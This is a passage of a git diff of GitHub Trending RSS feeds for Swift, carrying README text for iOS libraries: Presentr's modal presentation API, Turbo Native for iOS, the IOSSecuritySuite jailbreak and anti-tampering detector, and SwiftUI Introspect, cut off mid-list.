(thanks to @clebta)</li> <li>Add custom text color for AlertViewController</li> <li>New PresentationType called .dynamic that allows dynamic sizing of ViewController using AutoLayout to calculate size.</li> <li>You can set the context so the presentation is done properly on a child view controller and not the whole screen.</li> <li>You can also set the behavior for a tap outside the context.</li> <li>Simpler PresentrAnimation architecture. Simpler to modify existing transition animations or create your own.</li> <li>Two new animations to replace system ones, CoverVertical &amp; CrossDissolve.</li> <li>All animations are now Presentr's, no more Apple animations. This allows greater control &amp; less bugs.</li> <li>Swipe to dismiss feature greatly improved.</li> <li>Bug fixes and other small improvements.</li> </ul> <h4>1.1.0</h4> <ul> <li>You are now able to create your own custom transition animations. See how in readme. (thanks to @fpg1503 &amp; @danlozano)</li> <li>New animation available, coverVerticalWithSpring (thanks to @fpg1503)</li> </ul> <h4>See CHANGELOG.md for previous</h4> <h2>Contributing</h2> <ol> <li>Fork project</li> <li>Checkout <strong>Develop</strong> branch</li> <li>Create <strong>Feature</strong> branch off of the <strong>Develop</strong> branch</li> <li>Create awesome feature/enhancement/bug-fix</li> <li>Optionally create <em>Issue</em> to discuss feature</li> <li>Submit pull request from your <strong>Feature</strong> branch to Presentr’s <strong>Develop</strong> branch</li> </ol> <h2>Supported Swift Versions</h2> <table> <thead> <tr> <th>Presentr Version</th> <th align="center">Swift Version</th> <th align="center">Min. iOS Version</th> </tr> </thead> <tbody> <tr> <td>&lt;= 0.1.8</td> <td align="center">Swift 2.2</td> <td align="center">&gt;= iOS 8.0</td> </tr> <tr> <td>== 0.2.1</td> <td align="center">Swift 2.3</td> <td align="center">&gt;= iOS 8.0</td> </tr> <tr> <td>&gt;= 1.0.0</td> <td align="center">Swift 3.0</td> <td align="center">&gt;= iOS 9.0</td> </tr> <tr> <td>&gt;= 1.3</td> <td align="center">Swift 4.0</td> <td align="center">&gt;= iOS 9.0</td> </tr> <tr> <td>&gt;= 1.9</td> <td align="center">Swift 4.0 &amp; Swift 4.2</td> <td align="center">&gt;= iOS 9.0</td> </tr> </tbody> </table> <h2>Installation</h2> <h3><a href="http://cocoapods.org">Cocoapods</a></h3> <pre><code class="language-ruby">use_frameworks! pod 'Presentr' </code></pre> <h3><a href="https://github.com/Carthage/Carthage">Carthage</a></h3> <p>Add Presentr to you <code>Cartfile</code></p> <pre><code class="language-sh">github "IcaliaLabs/Presentr" </code></pre> <p>Install using</p> <pre><code class="language-sh">carthage update --platform ios </code></pre> <h3>Manually</h3> <ol> <li>Download and drop <code>/Presentr</code> folder in your project.</li> <li>You're done!</li> </ol> <h2>Getting started</h2> <h3>Create a Presentr object</h3> <p>It is <strong>important to hold on to the Presentr object as a property</strong> on the presenting/current View Controller since internally it will be used as a delegate for the custom presentation, so you must hold a strong reference to it.</p> <p>Your <strong>Presentr</strong> can be as simple as this:</p> <pre><code class="language-swift">class ViewController: UIViewController { let presenter = Presentr(presentationType: .alert) } </code></pre> <p>Or as complex as this:</p> <pre><code class="language-swift">class ViewController: UIViewController { let presenter: Presentr = { let width = ModalSize.full let height = ModalSize.fluid(percentage: 0.20) let center = ModalCenterPosition.customOrigin(origin: CGPoint(x: 0, y: 0)) let customType = PresentationType.custom(width: width, height: height, center: center) let customPresenter = Presentr(presentationType: customType) customPresenter.transitionType = .coverVerticalFromTop customPresenter.dismissTransitionType = .crossDissolve customPresenter.roundCorners = false customPresenter.backgroundColor = .green customPresenter.backgroundOpacity = 0.5 customPresenter.dismissOnSwipe = true customPresenter.dismissOnSwipeDirection = .top return customPresenter }() } </code></pre> <h3>Present the view controller.</h3> <p>Instantiate the View Controller you want to present and use the customPresentViewController method along with your <strong>Presentr</strong> object to do the custom presentation.</p> <pre><code class="language-swift">let controller = SomeViewController() customPresentViewController(presenter, viewController: controller, animated: true, completion: nil) </code></pre> <p>This is a helper method provided for you as an extension on UIViewController. It handles setting the Presentr object as the delegate for the presentation &amp; transition.</p> <p>Remember to setup Auto Layout on the ViewController so it can be displayed well on any size.</p> <p>The PresentationType (and all other properties) can be changed later on in order to reuse the <strong>Presentr</strong> object for other presentations.</p> <pre><code class="language-swift">presenter.presentationType = .popup </code></pre> <h2>Main Types</h2> <h3>Presentation Type</h3> <pre><code class="language-swift">public enum PresentationType { case alert case popup case topHalf case bottomHalf case fullScreen case dynamic(center: ModalCenterPosition) case custom(width: ModalSize, height: ModalSize, center: ModalCenterPosition) } </code></pre> <h4>Alert &amp; Popup</h4> <p><img src="http://danielozano.com/Presentr/Gifs/AlertSlow.gif" width="250"><img src="http://danielozano.com/Presentr/Gifs/PopupSlow.gif" width="250"></p> <h4>BottomHalf &amp; TopHalf</h4> <p><img src="http://danielozano.com/Presentr/Gifs/BottomHalfSlow.gif" width="250"><img src="http://danielozano.com/Presentr/Gifs/TopHalfSlow.gif" width="250"></p> <h3>Transition Type</h3> <pre><code class="language-swift">public enum TransitionType { case coverVertical case crossDissolve case coverVerticalFromTop case coverHorizontalFromRight case coverHorizontalFromLeft case custom(PresentrAnimation) } </code></pre> <h2>Properties</h2> <h4>Properties are optional, as they all have Default values.</h4> <p>The only required property for <strong>Presentr</strong> is the <strong>PresentationType</strong>. You initialize the object with one, but it can be changed later on.</p> <pre><code class="language-swift">presenter.presentationType = .popup </code></pre> <p>You can choose a TransitionType, which is the animation that will be used to present or dismiss the view controller.</p> <pre><code class="language-swift">presenter.transitionType = .coverVerticalFromTop presenter.dismissTransitionType = .crossDissolve </code></pre> <p>You can change the background color &amp; opacity for the background view that will be displayed below the presented view controller. You can also set a customBackgroundView that will be displayed on top of the built-in background view.</p> <pre><code class="language-swift">presenter.backgroundColor = UIColor.red presenter.backgroundOpacity = 1.0 presenter.customBackgroundView = UIView() </code></pre> <p>You could also turn on the blur effect for the background, and change it's style. If you turn on the blur effect the background color and opacity will be ignored.</p> <pre><code class="language-swift">presenter.blurBackground = true presenter.blurStyle = UIBlurEffectStyle.light </code></pre> <p>You can choose to disable rounded corners on the view controller that will be presented.</p> <pre><code class="language-swift">presenter.roundCorners = false </code></pre> <p>If set to true you can modify the cornerRadius.</p> <pre><code class="language-swift">presenter.cornerRadius = 10 </code></pre> <p>Using the <strong>PresentrShadow</strong> struct can set a custom shadow on the presented view controller.</p> <pre><code class="language-swift">let shadow = PresentrShadow() shadow.shadowColor = .black shadow.shadowOpacity = 0.5 shadow.shadowOffset = CGSize(5,5) shadow.shadowRadius = 4.0 presenter.dropShadow = shadow </code></pre> <p>You can choose to disable dismissOnTap that dismisses the presented view controller on tapping the background. Default is true. Or you can disable the animation for the dismissOnTap and dismissOnSwipe.</p> <pre><code class="language-swift">presenter.dismissOnTap = false presenter.dismissAnimated = false </code></pre> <p>You can activate dismissOnSwipe so that swiping inside the presented view controller dismisses it. Default is false because if your view controller uses any kind of scroll view this is not recommended as it will mess with the scrolling.</p> <p>You can also se the direction, for example in case your ViewController is an Alert at the top, you would want to dismiss it by swiping up.</p> <pre><code class="language-swift">presenter.dismissOnSwipe = true presenter.dismissOnSwipeDirection = .top </code></pre> <p>If you have text fields inside your modal and the presentationType property is set to popup, you can use a <strong>KeyboardTranslationType</strong> to tell <strong>Presentr</strong> how to handle your modal when the keyboard shows up.</p> <pre><code class="language-swift">presenter.keyboardTranslationType = .none presenter.keyboardTranslationType = .moveUp presenter.keyboardTranslationType = .compress presenter.keyboardTranslationType = .stickToTop </code></pre> <p>If you are doing a presentation inside a SplitViewController or any other type of container/child ViewController situation you can use these properties to handle it properly.</p> <p>Set the viewControllerForContext to the ViewController you want <strong>Presentr</strong> to use for framing the presentation context. shouldIgnoreTapOutsideContext is set to false by default. This handles what happens when they click outside the context (on the other ViewController).</p> <p>Be sure to set the viewControllerForContext property before presenting, not on initialization, this makes sure that Auto Layout has finished it's work and the frame for the ViewController is correct.</p> <pre><code class="language-swift">@IBAction func didSelectShowAlert(_ sender: Any) { presenter.viewControllerForContext = self presenter.shouldIgnoreTapOutsideContext = true customPresentViewController(presenter, viewController: alertController, animated: true, completion: nil) } </code></pre> <h2>Other / Advanced</h2> <ul> <li><a href="https://github.com/IcaliaLabs/Presentr/raw/master/ALERT.md">Built in AlertViewController</a></li> <li><a href="https://github.com/IcaliaLabs/Presentr/raw/master/DELEGATE.md">PresentrDelegate</a></li> <li><a href="https://github.com/IcaliaLabs/Presentr/raw/master/PRESENTATIONTYPE.md">PresentationType customization &amp; more</a></li> <li><a href="https://github.com/IcaliaLabs/Presentr/raw/master/TRANSITIONTYPE.md">TransitionType customization, PresentrAnimation &amp; more</a></li> </ul> <h2>Requirements</h2> <ul> <li>iOS 9.0+</li> <li>Xcode 8.0+</li> <li>Swift 3.0+</li> </ul> <h2>Documentation</h2> <p>Read the <a href="http://danielozano.com/Presentr/Docs/">docs</a>.</p> <h2>Author</h2> <p><a href="http://danielozano.com">Daniel Lozano</a> <br></p> <h2>Main Contributors</h2> <p><a href="http://swiftification.org/">Gabriel Peart</a> <br><br> Logo design by <a href="http://eldelentes.mx">Eduardo Higareda</a><br> Alert design by <a href="http://www.noearaujo.com">Noe Araujo</a></p> <h2>License</h2> <p>Presentr is released under the MIT license.<br> See LICENSE for details.</p> + + + codepath/ios101-lab2-mariokart-starter + 2023-09-25T01:41:49Z + tag:github.com,2023-09-25:/codepath/ios101-lab2-mariokart-starter + + <p>Starter project for iOS 101 Lab 2</p><hr><h1>ios101-lab2-mariokart-starter</h1> <p>Starter project for iOS 101 Lab 2</p> \ No newline at end of file diff --git a/swift/weekly/index.xml b/swift/weekly/index.xml deleted file mode 100644 index 3709e9e55c0..00000000000 --- a/swift/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Swift Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:25Z - Weekly Trending of Swift in GitHub - - - hotwired/turbo-ios - 2023-09-24T02:02:25Z - tag:github.com,2023-09-24:/hotwired/turbo-ios - - <p>iOS framework for making Turbo native apps</p><hr><h1>Turbo Native for iOS</h1> <p><strong>Build high-fidelity hybrid apps with native navigation and a single shared web view.</strong> Turbo Native for iOS provides the tooling to wrap your <a href="https://github.com/hotwired/turbo">Turbo 7</a>-enabled web app in a native iOS shell. It manages a single WKWebView instance across multiple view controllers, giving you native navigation UI with all the client-side performance benefits of Turbo.</p> <h2>Features</h2> <ul> <li><strong>Deliver fast, efficient hybrid apps.</strong> Avoid reloading JavaScript and CSS. Save memory by sharing one WKWebView.</li> <li><strong>Reuse mobile web views across platforms.</strong> Create your views once, on the server, in HTML. Deploy them to iOS, <a href="https://github.com/hotwired/turbo-android">Android</a>, and mobile browsers simultaneously. Ship new features without waiting on App Store approval.</li> <li><strong>Enhance web views with native UI.</strong> Navigate web views using native patterns. Augment web UI with native controls.</li> <li><strong>Produce large apps with small teams.</strong> Achieve baseline HTML coverage for free. Upgrade to native views as needed.</li> </ul> <h2>Requirements</h2> <p>Turbo iOS is written in Swift 5.3 and requires iOS 14 or higher. It supports web apps using either Turbo 7 or Turbolinks 5. The Turbo iOS framework has no dependencies.</p> <p><strong>Note:</strong> You should understand how Turbo works with web applications in the browser before attempting to use Turbo iOS. See the <a href="https://github.com/hotwired/turbo">Turbo 7 documentation</a> for details. Ensure that your web app sets the <code>window.Turbo</code> global variable as it's required by the native apps:</p> <pre><code class="language-javascript">import { Turbo } from "@hotwired/turbo-rails" window.Turbo = Turbo </code></pre> <h2>Getting Started</h2> <p>The best way to get started with Turbo iOS to try out the demo app first to get familiar with the framework. The demo app walks you through all the basic Turbo flows as well as some advanced features. To run the demo, clone this repo and open <code>Demo/Demo.xcodeproj</code> in Xcode and run the Demo target. See <a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Demo/README.md">Demo/README.md</a> for more details about the demo. When you’re ready to start your own application, read through the rest of the documentation.</p> <h2>Installation</h2> <p>Add Turbo as a dependency through Xcode or directly to a Package.swift:</p> <pre><code>.package(url: "https://github.com/hotwired/turbo-ios", from: "&lt;latest-version&gt;") </code></pre> <p>You can also integrate the framework manually if your prefer, such as by adding the repo as a submodule, and linking <code>Turbo.framework</code> to your project.</p> <h2>Documentation</h2> <ul> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/QuickStartGuide.md">Quick Start</a></li> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/Overview.md">Overview</a></li> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/Authentication.md">Authentication</a></li> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/PathConfiguration.md">Path Configuration</a></li> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/Migration.md">Migration</a></li> <li><a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/Docs/Advanced.md">Advanced</a></li> </ul> <h2>Contributing</h2> <p>Turbo iOS is open-source software, freely distributable under the terms of an <a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/LICENSE">MIT-style license</a>. The <a href="https://github.com/hotwired/turbo-ios">source code is hosted on GitHub</a>. Development is sponsored by <a href="https://37signals.com/">37signals</a>.</p> <p>We welcome contributions in the form of bug reports, pull requests, or thoughtful discussions in the <a href="https://github.com/hotwired/turbo-ios/issues">GitHub issue tracker</a>.</p> <p>Please note that this project is released with a <a href="https://raw.githubusercontent.com/hotwired/turbo-ios/main/CONDUCT.md">Contributor Code of Conduct</a>. By participating in this project you agree to abide by its terms.</p> <hr> <p>© 2023 37signals LLC</p> - - - securing/IOSSecuritySuite - 2023-09-24T02:02:25Z - tag:github.com,2023-09-24:/securing/IOSSecuritySuite - - <p>iOS platform security & anti-tampering Swift library</p><hr><h2>⭐️ Do you want to become a certified iOS Application Security Engineer? ⭐️</h2> <p>Check out our practical &amp; fully online course at: <a href="https://courses.securing.pl/courses/iase?utm_source=githubiosss&amp;utm_medium=githubiosss&amp;utm_campaign=githubiosss&amp;utm_id=githubiosss">https://courses.securing.pl/courses/iase</a></p> <p><img src="https://raw.githubusercontent.com/securing/IOSSecuritySuite/master/iase_bg.png" alt="iASE logo"></p> <h2>ISS Description</h2> <p><img src="https://raw.githubusercontent.com/securing/IOSSecuritySuite/master/logo.png" alt="ISS logo"></p> <h3>by <a href="https://twitter.com/_r3ggi">@_r3ggi</a></h3> <p>🌏 iOS Security Suite is an advanced and easy-to-use platform security &amp; anti-tampering library written in pure Swift! If you are developing for iOS and you want to protect your app according to the OWASP <a href="https://github.com/OWASP/owasp-masvs">MASVS</a> standard, chapter v8, then this library could save you a lot of time. 🚀</p> <p>What ISS detects:</p> <ul> <li>Jailbreak (even the iOS 11+ with brand new indicators! 🔥)</li> <li>Attached debugger 👨🏻‍🚀</li> <li>If an app was run in an emulator 👽</li> <li>Common reverse engineering tools running on the device 🔭</li> </ul> <h2>Setup</h2> <p>There are 4 ways you can start using IOSSecuritySuite</p> <h3>1. Add source</h3> <p>Add <code>IOSSecuritySuite/*.swift</code> files to your project</p> <h3>2. Setup with CocoaPods</h3> <p><code>pod 'IOSSecuritySuite'</code></p> <h3>3. Setup with Carthage</h3> <p><code>github "securing/IOSSecuritySuite"</code></p> <h3>4. Setup with Swift Package Manager</h3> <pre><code class="language-swift">.package(url: "https://github.com/securing/IOSSecuritySuite.git", from: "1.5.0") </code></pre> <h3>Update Info.plist</h3> <p>After adding ISS to your project, you will also need to update your main Info.plist. There is a check in jailbreak detection module that uses <code>canOpenURL(_:)</code> method and <a href="https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl">requires</a> specifying URLs that will be queried.</p> <pre><code class="language-xml">&lt;key&gt;LSApplicationQueriesSchemes&lt;/key&gt; &lt;array&gt; &lt;string&gt;undecimus&lt;/string&gt; &lt;string&gt;sileo&lt;/string&gt; &lt;string&gt;zbra&lt;/string&gt; &lt;string&gt;filza&lt;/string&gt; &lt;string&gt;activator&lt;/string&gt; &lt;/array&gt; </code></pre> <h3>Notice</h3> <p>iOS Security Suite is meant to be used on iOS/iPadOS. It should not be used on Macs with Apple Silicon.</p> <h2>How to use</h2> <h3>Jailbreak detector module</h3> <ul> <li><strong>The simplest method</strong> returns True/False if you just want to know if the device is jailbroken or jailed</li> </ul> <pre><code class="language-Swift">if IOSSecuritySuite.amIJailbroken() { print("This device is jailbroken") } else { print("This device is not jailbroken") } </code></pre> <ul> <li><strong>Verbose</strong>, if you also want to know what indicators were identified</li> </ul> <pre><code class="language-Swift">let jailbreakStatus = IOSSecuritySuite.amIJailbrokenWithFailMessage() if jailbreakStatus.jailbroken { print("This device is jailbroken") print("Because: \(jailbreakStatus.failMessage)") } else { print("This device is not jailbroken") } </code></pre> <p>The failMessage is a String containing comma-separated indicators as shown on the example below: <code>sileo:// URL scheme detected, Suspicious file exists: /Library/MobileSubstrate/MobileSubstrate.dylib, Fork was able to create a new process</code></p> <ul> <li><strong>Verbose &amp; filterable</strong>, if you also want to for example identify devices that were jailbroken in the past, but now are jailed</li> </ul> <pre><code class="language-Swift">let jailbreakStatus = IOSSecuritySuite.amIJailbrokenWithFailedChecks() if jailbreakStatus.jailbroken { if (jailbreakStatus.failedChecks.contains { $0.check == .existenceOfSuspiciousFiles }) &amp;&amp; (jailbreakStatus.failedChecks.contains { $0.check == .suspiciousFilesCanBeOpened }) { print("This is real jailbroken device") } } </code></pre> <h3>Debugger detector module</h3> <pre><code class="language-Swift">let amIDebugged: Bool = IOSSecuritySuite.amIDebugged() </code></pre> <h3>Deny debugger at all</h3> <pre><code class="language-Swift">IOSSecuritySuite.denyDebugger() </code></pre> <h3>Emulator detector module</h3> <pre><code class="language-Swift">let runInEmulator: Bool = IOSSecuritySuite.amIRunInEmulator() </code></pre> <h3>Reverse engineering tools detector module</h3> <ul> <li><strong>The simplest method</strong> returns True/False if you just want to know if the device has evidence of reverse engineering</li> </ul> <pre><code class="language-Swift">if IOSSecuritySuite.amIReverseEngineered() { print("This device has evidence of reverse engineering") } else { print("This device hasn't evidence of reverse engineering") } </code></pre> <ul> <li><strong>Verbose &amp; filterable</strong>, if you also want the list of checks done</li> </ul> <pre><code class="language-Swift">let reverseStatus = IOSSecuritySuite.amIReverseEngineeredWithFailedChecks() if reverseStatus.reverseEngineered { // check for reverseStatus.failedChecks for more details } </code></pre> <h3>System proxy detector module</h3> <pre><code class="language-Swift">let amIProxied: Bool = IOSSecuritySuite.amIProxied() </code></pre> <h2>Experimental features</h2> <h3>Runtime hook detector module</h3> <pre><code class="language-Swift">let amIRuntimeHooked: Bool = amIRuntimeHook(dyldWhiteList: dylds, detectionClass: SomeClass.self, selector: #selector(SomeClass.someFunction), isClassMethod: false) </code></pre> <h3>Symbol hook deny module</h3> <pre><code class="language-Swift">// If we want to deny symbol hook of Swift function, we have to pass mangled name of that function denySymbolHook("$s10Foundation5NSLogyySS_s7CVarArg_pdtF") // denying hooking for the NSLog function NSLog("Hello Symbol Hook") denySymbolHook("abort") abort() </code></pre> <h3>MSHook detector module</h3> <pre><code class="language-Swift">// Function declaration func someFunction(takes: Int) -&gt; Bool { return false } // Defining FunctionType : @convention(thin) indicates a “thin” function reference, which uses the Swift calling convention with no special “self” or “context” parameters. typealias FunctionType = @convention(thin) (Int) -&gt; (Bool) // Getting pointer address of function we want to verify func getSwiftFunctionAddr(_ function: @escaping FunctionType) -&gt; UnsafeMutableRawPointer { return unsafeBitCast(function, to: UnsafeMutableRawPointer.self) } let funcAddr = getSwiftFunctionAddr(someFunction) let amIMSHooked = IOSSecuritySuite.amIMSHooked(funcAddr) </code></pre> <h3>MSHook deny module</h3> <pre><code class="language-Swift">// Function declaration func denyDebugger(value: Int) { } // Defining FunctionType : @convention(thin) indicates a “thin” function reference, which uses the Swift calling convention with no special “self” or “context” parameters. typealias FunctionType = @convention(thin) (Int)-&gt;() // Getting original function address let funcDenyDebugger: FunctionType = denyDebugger let funcAddr = unsafeBitCast(funcDenyDebugger, to: UnsafeMutableRawPointer.self) if let originalDenyDebugger = denyMSHook(funcAddr) { // Call the original function with 1337 as Int argument unsafeBitCast(originalDenyDebugger, to: FunctionType.self)(1337) } else { denyDebugger() } </code></pre> <h3>File integrity verifier module</h3> <pre><code class="language-Swift">// Determine if application has been tampered with if IOSSecuritySuite.amITampered([.bundleID("biz.securing.FrameworkClientApp"), .mobileProvision("2976c70b56e9ae1e2c8e8b231bf6b0cff12bbbd0a593f21846d9a004dd181be3"), .machO("IOSSecuritySuite", "6d8d460b9a4ee6c0f378e30f137cebaf2ce12bf31a2eef3729c36889158aa7fc")]).result { print("I have been Tampered.") } else { print("I have not been Tampered.") } // Manually verify SHA256 hash value of a loaded dylib if let hashValue = IOSSecuritySuite.getMachOFileHashValue(.custom("IOSSecuritySuite")), hashValue == "6d8d460b9a4ee6c0f378e30f137cebaf2ce12bf31a2eef3729c36889158aa7fc" { print("I have not been Tampered.") } else { print("I have been Tampered.") } // Check SHA256 hash value of the main executable // Tip: Your application may retrieve this value from the server if let hashValue = IOSSecuritySuite.getMachOFileHashValue(.default), hashValue == "your-application-executable-hash-value" { print("I have not been Tampered.") } else { print("I have been Tampered.") } </code></pre> <h3>Breakpoint detection module</h3> <pre><code class="language-Swift">func denyDebugger() { // Set breakpoint here } typealias FunctionType = @convention(thin) ()-&gt;() let func_denyDebugger: FunctionType = denyDebugger // `: FunctionType` is a must let func_addr = unsafeBitCast(func_denyDebugger, to: UnsafeMutableRawPointer.self) let hasBreakpoint = IOSSecuritySuite.hasBreakpointAt(func_addr, functionSize: nil) if hasBreakpoint { print("Breakpoint found in the specified function") } else { print("Breakpoint not found in the specified function") } </code></pre> <h3>Watchpoint detection module</h3> <pre><code class="language-Swift">// Set a breakpoint at the testWatchpoint function func testWatchpoint() -&gt; Bool{ // lldb: watchpoint set expression ptr var ptr = malloc(9) // lldb: watchpoint set variable count var count = 3 return IOSSecuritySuite.hasWatchpoint() } </code></pre> <h2>Security considerations</h2> <p>Before using this and other platform security checkers, you have to understand that:</p> <ul> <li>Including this tool in your project is not the only thing you should do in order to improve your app security! You can read a general mobile security whitepaper <a href="https://www.securing.biz/en/mobile-application-security-best-practices/index.html">here</a>.</li> <li>Detecting if a device is jailbroken is done locally on the device. It means that every jailbreak detector may be bypassed (even this)!</li> <li>Swift code is considered to be harder to manipulate dynamically than Objective-C. Since this library was written in pure Swift, the IOSSecuritySuite methods shouldn't be exposed to Objective-C runtime (which makes it more difficult to bypass ✅). You have to know that attacker is still able to MSHookFunction/MSFindSymbol Swift symbols and dynamically change Swift code execution flow.</li> </ul> <h2>Contribution ❤️</h2> <p>Yes, please! If you have a better idea or you just want to improve this project, please text me on <a href="https://twitter.com/_r3ggi">Twitter</a> or <a href="https://www.linkedin.com/in/wojciech-regula/">Linkedin</a>. Pull requests are more than welcome!</p> <h3>Special thanks: 👏🏻</h3> <ul> <li><a href="https://github.com/kubajakowski">kubajakowski</a> for pointing out the problem with <code>canOpenURL(_:)</code> method</li> <li><a href="https://github.com/olbartek">olbartek</a> for code review and pull request</li> <li><a href="https://github.com/benbahrenburg">benbahrenburg</a> for various ISS improvements</li> <li><a href="https://github.com/fotiDim">fotiDim</a> for adding new file paths to check</li> <li><a href="https://github.com/gcharita">gcharita</a> for adding the Swift Package Manager support</li> <li><a href="https://github.com/rynaardb">rynaardb</a> for creating the <code>amIJailbrokenWithFailedChecks()</code> method</li> <li><a href="https://github.com/undeaDD">undeaDD</a> for various ISS improvements</li> <li><a href="https://github.com/fnxpt">fnxpt</a> for adding multiple JB detections</li> <li><a href="https://github.com/TannerJin">TannerJin</a> for MSHook, RuntimeHook, SymbolHook and Watchpoint Detection modules</li> <li><a href="https://github.com/NikoXu">NikoXu</a> for adding file integrity module</li> <li><a href="https://github.com/hellpf">hellpf</a> for fixing a dangling socket problem</li> <li><a href="https://github.com/Ant-tree">Ant-tree</a> for improving hooking resistence</li> <li><a href="https://github.com/izmcm">izmcm</a> for implementing the <code>amIReverseEngineeredWithFailedChecks()</code> method</li> <li><a href="https://github.com/sanu">sanu</a> for new providing new file checks</li> <li><a href="https://github.com/marsepu">marsepu</a> for a well-done PR with new improvements</li> </ul> <h2>TODO</h2> <ul> <li><input type="checkbox" disabled> Research Installer5 and Zebra Package Manager detection ( Cydia Alternatives )</li> </ul> <h2>License</h2> <p>See the LICENSE file.</p> <h2>References</h2> <p>While creating this tool I used:</p> <ul> <li>🔗 <a href="https://github.com/TheSwiftyCoder/JailBreak-Detection">https://github.com/TheSwiftyCoder/JailBreak-Detection</a></li> <li>🔗 <a href="https://github.com/abhinashjain/jailbreakdetection">https://github.com/abhinashjain/jailbreakdetection</a></li> <li>🔗 <a href="https://gist.github.com/ddrccw/8412847">https://gist.github.com/ddrccw/8412847</a></li> <li>🔗 <a href="https://gist.github.com/bugaevc/4307eaf045e4b4264d8e395b5878a63b">https://gist.github.com/bugaevc/4307eaf045e4b4264d8e395b5878a63b</a></li> <li>📚 "iOS Application Security" by David Thiel</li> </ul> - - - siteline/swiftui-introspect - 2023-09-24T02:02:25Z - tag:github.com,2023-09-24:/siteline/swiftui-introspect - - <p>Introspect underlying UIKit/AppKit components from SwiftUI</p><hr><h1>SwiftUI Introspect</h1> <p><a href="https://github.com/siteline/swiftui-introspect/actions/workflows/ci.yml"><img src="https://github.com/siteline/swiftui-introspect/actions/workflows/ci.yml/badge.svg?sanitize=true" alt="CI Status Badge"></a> <a href="https://swiftpackageindex.com/siteline/swiftui-introspect"><img src="https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fsiteline%2Fswiftui-introspect%2Fbadge%3Ftype%3Dswift-versions" alt="Swift Version Compatibility Badge"></a> <a href="https://swiftpackageindex.com/siteline/swiftui-introspect"><img src="https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fsiteline%2Fswiftui-introspect%2Fbadge%3Ftype%3Dplatforms" alt="Platform Compatibility Badge"></a></p> <p>SwiftUI Introspect allows you to get the underlying UIKit or AppKit element of a SwiftUI view.</p> <p>For instance, with SwiftUI Introspect you can access <code>UITableView</code> to modify separators, or <code>UINavigationController</code> to customize the tab bar.</p> <h2>How it works</h2> <p>SwiftUI Introspect works by adding an invisible <code>IntrospectionView</code> on top of the selected view, and an invisible "anchor" view underneath it, then looking through the UIKit/AppKit view hierarchy between the two to find the relevant view.</p> <p>For instance, when introspecting a <code>ScrollView</code>...</p> <pre><code class="language-swift">ScrollView { Text("Item 1") } .introspect(.scrollView, on: .iOS(.v13, .v14, .v15, .v16, .v17)) { scrollView in // do something with UIScrollView } </code></pre> <p>... it will:</p> <ol> <li>Add marker views in front and behind <code>ScrollView</code>.</li> <li>Traverse through all subviews between both marker views until a <code>UIScrollView</code> instance (if any) is found.</li> </ol> <blockquote> <p><strong>Warning</strong></p> <p>Although this introspection method is very solid and unlikely to break in itself, future OS releases require explicit opt-in for introspection (<code>.iOS(.vXYZ)</code>), given potential differences in underlying UIKit/AppKit view types between major OS versions.</p> </blockquote> <p>By default, the <code>.introspect</code> modifier acts directly on its <em>receiver</em>. This means calling <code>.introspect</code> from inside the view you're trying to introspect won't have any effect. However, there are times when this is not possible or simply too inflexible, in which case you <strong>can</strong> introspect an <em>ancestor</em>, but you must opt into this explicitly by overriding the introspection <code>scope</code>:</p> <pre><code class="language-swift">ScrollView { Text("Item 1") .introspect(.scrollView, on: .iOS(.v13, .v14, .v15, .v16, .v17), scope: .ancestor) { scrollView in // do something with UIScrollView } } </code></pre> <h3>Usage in production</h3> <p>SwiftUI Introspect is meant to be used in production. It does not use any private API. It only inspects the view hierarchy using publicly available methods. The library takes a defensive approach to inspecting the view hierarchy: there is no hard assumption that elements are laid out a certain way, there is no force-cast to UIKit/AppKit classes, and the <code>.introspect</code> modifier is simply ignored if UIKit/AppKit views cannot be found.</p> <h2>Install</h2> <h3>Swift Package Manager</h3> <pre><code class="language-swift">let package = Package( dependencies: [ .package(url: "https://github.com/siteline/swiftui-introspect", from: "1.0.0"), ], targets: [ .target(name: &lt;#Target Name#&gt;, dependencies: [ .product(name: "SwiftUIIntrospect", package: "swiftui-introspect"), ]), ] ) </code></pre> <h3>CocoaPods</h3> <pre><code class="language-ruby">pod 'SwiftUIIntrospect', '~&gt; 1.0' </code></pre> <h2>Introspection</h2> <h3>Implemented</h3> <ul> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/buttontype"><code>Button</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/colorpickertype"><code>ColorPicker</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickertype"><code>DatePicker</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickerwithcompactstyletype"><code>DatePicker</code> with <code>.compact</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickerwithfieldstyletype"><code>DatePicker</code> with <code>.field</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickerwithgraphicalstyletype"><code>DatePicker</code> with <code>.graphical</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickerwithstepperfieldstyletype"><code>DatePicker</code> with <code>.stepperField</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/datepickerwithwheelstyletype"><code>DatePicker</code> with <code>.wheel</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/formtype"><code>Form</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/formwithgroupedstyletype"><code>Form</code> with 